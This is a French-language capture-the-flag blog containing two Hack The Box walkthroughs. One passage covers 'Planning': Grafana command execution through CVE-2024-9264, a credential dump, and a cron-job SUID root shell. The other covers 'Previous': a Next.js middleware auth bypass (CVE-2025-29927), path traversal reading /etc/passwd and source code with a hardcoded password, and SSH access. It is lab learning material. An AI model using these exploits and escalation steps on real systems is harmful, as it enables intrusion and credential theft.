[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Reading file: /proc/1/environ
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/proc/1/environ'):

C’est bon pour la Database !

┌──(.venv)─(kali㉿kali)-[~/Documents/htb/Planning/CVE-2024-9264]
└─$ python3 CVE-2024-9264.py -u admin -p 0D5oT70Fq13EvB5r -c "env" http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: env
[+] Successfully ran duckdb query:
[+] SELECT 1;install shellfs from community;LOAD shellfs;SELECT * FROM read_csv('env >/tmp/grafana_cmd_output 2>&1 |'):
[+] Successfully ran duckdb query:
[+] SELECT content FROM read_blob('/tmp/grafana_cmd_output'):
GF_PATHS_HOME=/usr/share/grafana
HOSTNAME=7ce659d667d7
SHLVL=0
AWS_AUTH_EXTERNAL_ID=
HOME=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_LOGS=/var/log/grafana
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
AWS_AUTH_SESSION_DURATION=15m
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
PWD=/usr/share/grafana

Création d’un “environnement” dans le Container Docker, qui me permets d’obtenir des identifiants utilisateur:

GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo

Connexion SSH

┌──(kali㉿kali)-[~]
└─$ ssh enzo@10.10.11.68     
The authenticity of host '10.10.11.68 (10.10.11.68)' can't be established.
ED25519 key fingerprint is SHA256:iDzE/TIlpufckTmVF0INRVDXUEu/k2y3KbqA/NDvRXw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.68' (ED25519) to the list of known hosts.
enzo@10.10.11.68's password: 
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-59-generic x86_64)


Last login: Sun Sep 21 23:57:11 2025 from 10.10.15.17
enzo@planning:~$

enzo@planning:~$ netstat -tulnp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:3306          0.0.0.0:*                               LISTEN      -                   
tcp        0      0 127.0.0.1:38283         0.0.0.0:*                           LISTEN      -                   
tcp        0      0 127.0.0.1:33060         0.0.0.0:*                           LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*                               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*                               LISTEN      -                   
tcp        0      0 127.0.0.1:3000          0.0.0.0:*                           LISTEN      -                   
tcp        0      0 127.0.0.54:53           0.0.0.0:*                               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*                           LISTEN      -                   
tcp6       0      0 :::22                   :::*                                            LISTEN      -                   
udp        0      0 127.0.0.54:53           0.0.0.0:*                                       -                   
udp        0      0 127.0.0.53:53           0.0.0.0:*                                      -          les tests précédents,

enzo@planning:/$ ls
bin@                boot/   dev/  home/  lib64@              lost+found/  mnt/  proc/  run/   sbin.usr-is-merged/  sys/  usr/
bin.usr-is-merged/  cdrom/  etc/  lib@   lib.usr-is-merged/  media/       opt/  root/  sbin@  srv/                 tmp/  var/
enzo@planning:/$ cd opt
enzo@planning:/opt$ ls
containerd  crontabs
enzo@planning:/opt$ cd containerd
enzo@planning:/opt/containerd$ ls
ls: cannot open directory '.': Permission denied
enzo@planning:/opt/containerd$ cd ..
enzo@planning:/opt$ ls
containerd  crontabs
enzo@planning:/opt$ cd crontabs
enzo@planning:/opt/crontabs$ ls
crontab.db  env.db
enzo@planning:/opt/crontabs$ cat env.db
enzo@planning:/opt/crontabs$ cat crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}

Le fichier “crontab.db” contenait le password:

P4ssw0rdS0pRi0T3c

J’ai créé un tunnel SSH en me servant du port 8000 qui est ouvert, d’après la commande “netstat“ précédente.

┌──(kali㉿kali)-[~]
└─$ ssh -L 8000:127.0.0.1:8000 -N -f enzo@planning.htb accéder au crontab UI dans le navigateur à l’adresse 127.0.0.1:8000 et me connecter avec les identifants.

Il fallait maintenant, que j’accède au “Crontab UI” dans mon navigateur à l’adresse “127.0.0.1:8000” et m’y connecter avec les identifants trouvés.

root
P4ssw0rdS0pRi0T3c

Dans le webUI du Crontab, j’ai ajouté un “CronJob“.

cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash

/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip 
/var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz

/root/scripts/cleanup.sh

Déconnexion puis reconnexion, afin que les changements soient pris en compte. Et que je puisses me reconnecter dans le shell.

enzo@planning:~$ /tmp/rootbash -p
rootbash-5.2# ls
user.txt
rootbash-5.2# cat user.txt
flag_user{************************************}
rootbash-5.2# cd root
rootbash: cd: root: No such file or directory
rootbash-5.2# cd /root
rootbash-5.2# ls
root.txt  scripts
rootbash-5.2# cat root.txt
flag_root{************************************}

rootbash-5.2# cd scripts
rootbash-5.2# ls
cleanup.sh  crontab.db  docker-compose.yml  Dockerfile
rootbash-5.2# cleanup.sh

Exécution du cronjob, créé depuis l’interface web.

Conclusion

Ce challenge HackTheBox était plutôt cool. J’ai pû toucher un peu aux bases de données, à Grafana.

J’ai appris à faire un tunnel SSH pour un accès via le browser. C’était pas évident cette partie.

Merci d’avoir lu cette article, et j’espère qu’il vous aura plu.

Fin

]]><![CDATA[Previous HTB]]>https://fr3nch4writeups.hashnode.dev/prehttps://fr3nch4writeups.hashnode.dev/preSun, 02 Nov 2025 17:25:35 GMTRecon 
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -O -p- 10.10.11.83 -Pn

Les règles du Pare-feu m'empêchent, de faire mon scan habituel.

┌──(kali㉿kali)-[~]
└─$ nmap -sS -P0 10.10.11.83 -sV
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 18:24 EDT
Nmap scan report for 10.10.11.83
Host is up (0.12s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds

Donc j'ai utilisé le flag -sS, qui permet de faire un scan semi-ouvert, en envoyant juste le paquet SYN.

J'ai fait le scan en plusieurs étapes, pour chercher les versions utilisées.

┌──(kali㉿kali)-[~]
└─$ nmap -sS -P0 10.10.11.83 -sC -O
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-22 18:26 EDT
Nmap scan report for 10.10.11.83
Host is up (0.11s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http
|_http-title: Did not follow redirect to http://previous.htb/
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 2 hops

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.87 seconds

Vulnerabilities Scan

┌──(kali㉿kali)-[~]
└─$ nuclei -target http://10.10.11.83           

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v3.4.10

                projectdiscovery.io

[WRN] Found 1 templates with syntax error (use -validate flag for further examination)
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.9 (latest)
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 8501
[INF] Executing 8299 signed templates from projectdiscovery/nuclei-templates
[WRN] Loading 202 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1798 (Reduced 1687 Requests)
[INF] Using Interactsh Server: oast.fun
[external-service-interaction] [http] [info] http://10.10.11.83
[waf-detect:nginxgeneric] [http] [info] http://10.10.11.83
[ssh-server-enumeration] [javascript] [info] 10.10.11.83:22 ["SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13"]
[ssh-password-auth] [javascript] [info] 10.10.11.83:22
[ssh-sha1-hmac-algo] [javascript] [info] 10.10.11.83:22
[ssh-auth-methods] [javascript] [info] 10.10.11.83:22 ["["publickey","password"]"]
[openssh-detect] [tcp] [info] 10.10.11.83:22 ["SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13"]
[tech-detect:nginx] [http] [info] http://10.10.11.83
[INF] Scan completed in 2m. 8 matches found.

Fuzzing

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://previous.htb -w directory-list-2.3-medium.txt -x json,php,html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Extensions:              json,php,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/# license, visit http://creativecommons.org/licenses/by-sa/3.0/.json (Status: 308) [Size: 76] [--> /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/.json]
/# license, visit http://creativecommons.org/licenses/by-sa/3.0/ (Status: 308) [Size: 71] [--> /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/]
/# license, visit http://creativecommons.org/licenses/by-sa/3.0/.html (Status: 308) [Size: 76] [--> /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/.html]
/# license, visit http://creativecommons.org/licenses/by-sa/3.0/.php (Status: 308) [Size: 75] [--> /%23%20license,%20visit%20http:/creativecommons.org/licenses/by-sa/3.0/.php]
/docs                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fdocs]
/docs.html            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdocs.html]
/docs.php             (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fdocs.php]
/docs.json            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdocs.json]
/api.html             (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fapi.html]
/api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
/api.json             (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fapi.json]
/api.php              (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapi.php]
/signin               (Status: 200) [Size: 3481]

Sur cette page, l’URL m’a semblé curieux:

http://previous.htb/signin

http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi

┌──(kali㉿kali)-[~]
└─$ curl http://previous.htb/api

/api/auth/signin?callbackUrl=%2Fapi

┌──(kali㉿kali)-[~]
└─$ curl -i http://previous.htb/api  

HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 23 Sep 2025 22:42:27 GMT
Transfer-Encoding: chunked
Connection: keep-alive
location: /api/auth/signin?callbackUrl=%2Fapi

J’ai testé si la cible était vulnérable à la faille CVE-2025-29927 , en analysant la réponse, au niveau du ‘header’ et du ‘body’ de la page.

Cette faille permet un ‘Auth Bypassing’ dans ‘Next.js’.

┌──(kali㉿kali)-[~]
└─$ curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     http://previous.htb/api
HTTP/1.1 404 Not Found
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 23 Sep 2025 22:53:09 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2181
Connection: keep-alive
Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
X-Powered-By: Next.js
ETag: "dgiq94wxz01ol"
Vary: Accept-Encoding

<!DOCTYPE html><html><head><meta charSet="utf-8" data-next-head=""/><meta name="viewport" content="width=device-width" data-next-head=""/><title
 data-next-head="">404: This page could not be found</title><link rel="preload" href="/_next/static/css/9a1ff1f4870b5a50.css" as="style"/><link rel="stylesheet"
  href="/_next/static/css/9a1ff1f4870b5a50.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js">
  </script><script src="/_next/static/chunks/webpack-cb370083d4f9953f.js" defer=""></script><script src="/_next/static/chunks/framework-ee17a4c43a44d3e2.js" 
  defer=""></script><script src="/_next/static/chunks/main-0221d9991a31a63c.js" defer=""></script><script src="/_next/static/chunks/pages/_app-95f33af851b6322a.js" 
  defer=""></script><script src="/_next/static/chunks/pages/_error-41608b100cc61246.js" defer=""></script><script src="/_next/static/-ipsiOtEey-zESpHzrwmc/_buildManifest.js" 
  defer=""></script><script src="/_next/static/-ipsiOtEey-zESpHzrwmc/_ssgManifest.js" defer=""></script></head><body><div id="__next"><div style="font-family:system-ui,&quot;
  Segoe UI&quot;,Roboto,Helvetica,Arial,sans-serif,&quot;Apple Color Emoji&quot;,&quot;Segoe UI Emoji&quot;;height:100vh;text-align:center;display:flex;flex-direction:column;
  align-items:center;justify-content:center"><div style="line-height:48px"><style>body{color:#000;background:#fff;margin:0}.next-error-h1{border-right:1px solid rgba(0,0,0,.3)}@media 
  (prefers-color-scheme:dark){body{color:#fff;background:#000}.next-error-h1{border-right:1px solid rgba(255,255,255,.3)}}</style><h1 class="next-error-h1" style="display:inline-block
  ;margin:0 20px 0 0;padding-right:23px;font-size:24px;font-weight:500;vertical-align:top">404</h1><div style="display:inline-block"><h2 style="font-size:14px;font-weight:400;
  line-height:28px">This page could not be found<!-- -->.</h2></div></div></div></div><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{"statusCode":404}},
  "page":"/_error","query":{},"buildId":"-ipsiOtEey-zESpHzrwmc","nextExport":true,"isFallback":false,"gip":true,"scriptLoader":[]}</script></body></html>

Le header force une récursion, qui bypass les vérifications d'autorisations, et peut permettre, d‘accéder aux chemins d'accès.

┌──(kali㉿kali)-[~]
└─$ curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     http://previous.htb/docs
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 23 Sep 2025 23:01:10 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3353
Connection: keep-alive
X-Powered-By: Next.js
ETag: "83h4wb4nfw2l1"
Vary: Accept-Encoding

<!DOCTYPE html><html><head><meta charSet="utf-8" data-next-head=""/><meta name="viewport" content="width=device-width" data-next-head=""/>
<title data-next-head="">PreviousJS Docs</title><link rel="preload" href="/_next/static/css/9a1ff1f4870b5a50.css" as="style"/><link rel="stylesheet"
 href="/_next/static/css/9a1ff1f4870b5a50.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js">
 </script><script src="/_next/static/chunks/webpack-cb370083d4f9953f.js" defer=""></script><script src="/_next/static/chunks/framework-ee17a4c43a44d3e2.js" defer=""></script><script 
 src="/_next/static/chunks/main-0221d9991a31a63c.js" defer=""></script><script src="/_next/static/chunks/pages/_app-95f33af851b6322a.js" defer="">
 </script><script src="/_next/static/chunks/8-fd0c493a642e766e.js" defer=""></script><script src="/_next/static/chunks/0-c54fcec2d27b858d.js" defer=""></script><script 
 src="/_next/static/chunks/pages/docs-5f6acb8b3a59fb7f.js" defer=""></script><script src="/_next/static/-ipsiOtEey-zESpHzrwmc/_buildManifest.js" defer=""></script><script 
 src="/_next/static/-ipsiOtEey-zESpHzrwmc/_ssgManifest.js" defer=""></script></head><body><div id="__next"><div class="flex min-h-screen bg-white"><div class="sticky top-
 0 h-screen w-64 border-r bg-gray-50 p-6"><h2 class="mb-6 text-lg font-semibold">PreviousJS</h2><nav><ul class="space-y-2"><li><a class="block rounded px-3 py-2 text-sm transition-colors 
 text-gray-600 hover:bg-gray-100" href="/docs/getting-started">Getting Started</a></li><li><a class="block rounded px-3 py-2 text-sm transition-colors 
 text-gray-600 hover:bg-gray-100" href="/docs/examples">Examples</a></li></ul></nav></div><main class="flex-1 p-8 lg:px-12 lg:py-10"><article class="prose prose-slate max-w-none">
 <h1>Documentation Overview</h1><p class="lead">Welcome to the documentation for PreviousJS. Get started with our comprehensive guides and API references.</p><div class="not-prose 
 mt-8 grid gap-4 sm:grid-cols-2"><div class="rounded-lg border p-6"><h3 class="mb-2 text-lg font-semibold">Getting Started</h3><p class="mb-4 text-gray-600">New to PreviousJS? 
 Begin here with basic setup and fundamental concepts.</p><a href="/docs/getting-started" class="text-blue-600 hover:underline">Start learning →</a></div><div class="rounded-lg 
 border p-6"><h3 class="mb-2 text-lg font-semibold">Examples</h3><p class="mb-4 text-gray-600">Detailed examples.</p><a href="/docs/api-reference" 
 class="text-blue-600 hover:underline">Explore examples →</a></div></div><div class="mt-8 border-t pt-8"><h2>Latest Updates</h2><ul class="text-sm text-gray-600"><li class="mt-2">v1.2.0
  - Feat: middleware is now opt-out!</li><li class="mt-2">v1.1.4 - Improved TypeScript support</li><li class="mt-2">v1.1.0 - Performance optimizations</li></ul></div>
  </article></main><div class="fixed top-0 right-0 p-4 bg-gray-100 border-t border-gray-200 shadow-md"><p class="text-sm text-gray-600">Logged in as <b>???</b></p><a 
  href="#" class="cursor-pointer text-sm text-blue-600 hover:text-blue-800 underline">Sign out</a></div></div></div><script id="__NEXT_DATA__" type="application/json">
  {"props":{"pageProps":{}},"page":"/docs","query":{},"buildId":"-ipsiOtEey-zESpHzrwmc","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[]}</script></body></html>

Un attaquant peut parvenir à contourner les contrôles de sécurité, basés sur le “middleware“, en usurpant un en-tête, destiné uniquement à un usage interne.

Exploitation

La cible est vulnérable à une LFI (Local file Include).

La faille LFI, permet de lire des fichiers auxquels, nous n’avons pas accès initialement.

┌──(kali㉿kali)-[~]
└─$ curl -i -X POST http://previous.htb/api/auth/signin \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -d "csrfToken=ton_csrf_from_cookie&username=admin&password=admin&callbackUrl=%2Fapi"
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 25 Sep 2025 22:24:24 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: next-auth.csrf-token=2dd6aaff881385b50aa0daf97c80f6e5f9c170f82c28db1372bfb91127c0e7ab%7C56e3cb202c3d92c9b3d50b3803023955cbf72b6b34c966fe9a1e6b41f7daad7a; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000%2Fapi; Path=/; HttpOnly; SameSite=Lax
Location: http://localhost:3000/api/auth/signin?csrf=true

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://previous.htb/api/FUZZ \
     -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
     -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     -mc 200,201,400 \
     -t 50


download                [Status: 400, Size: 28, Words: 2, Lines: 1, Duration: 1031ms]

previous.htb/api/download/

┌──(kali㉿kali)-[~]
└─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../../etc/passwd"
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

┌──(kali㉿kali)-[~]
└─$ curl -g -v -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"
* Host previous.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.83
*   Trying 10.10.11.83:80...
* Connected to previous.htb (10.10.11.83) port 80
* using HTTP/1.x
> GET /api/download?example=../../../pages/api/auth/[...nextauth].js HTTP/1.1
> Host: previous.htb
> Accept: */*
> x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
> User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
> 
* Request completely sent off
< HTTP/1.1 504 Gateway Timeout
< Server: nginx/1.18.0 (Ubuntu)
< Date: Thu, 25 Sep 2025 22:40:52 GMT
< Content-Type: application/json; charset=utf-8
< Content-Length: 26
< Connection: keep-alive
< ETag: "kuawl8omj6q"
< Vary: Accept-Encoding
< 
* Connection #0 to host previous.htb left intact
{"error":"Read timed out"}

┌──(kali㉿kali)-[~]
└─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"

┌──(kali㉿kali)-[~]
└─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../pages/api/auth/...nextauth.js" 
{"error":"Read timed out"}   

┌──(kali㉿kali)-[~]
└─$ curl -g -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"
{"error":"Read timed out"}

┌──(kali㉿kali)-[~]
└─$ curl -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../.next/routes-manifest.json" | grep -i auth

┌──(kali㉿kali)-[~]
└─$ curl -g -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     "http://previous.htb/api/download?example=../../../pages/api/auth/[...nextauth].js"
{"error":"Read timed out"}

L'erreur à l'air de venir des sous-domaines.

Autrement dit, je dois affiner le nombre de [ ../ ] .

┌──(kali㉿kali)-[~]
└─$ curl -g -s -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36" \
     --max-time 30 \
     "http://previous.htb/api/download?example=../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js"
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")}
,6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r))
:"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",
e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var 
t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:
"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===
(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth")
,p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]"
,bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();

Dans la fonction asynchrone du code:

authorize: async (e) => (e?.username === "jeremy" && e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes") ? { id: "1", name: "Jeremy" } : null),

SSH Connection

Last login: Thu Sep 25 23:10:56 2025 from 10.10.15.91
jeremy@previous:~$
jeremy@previous:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
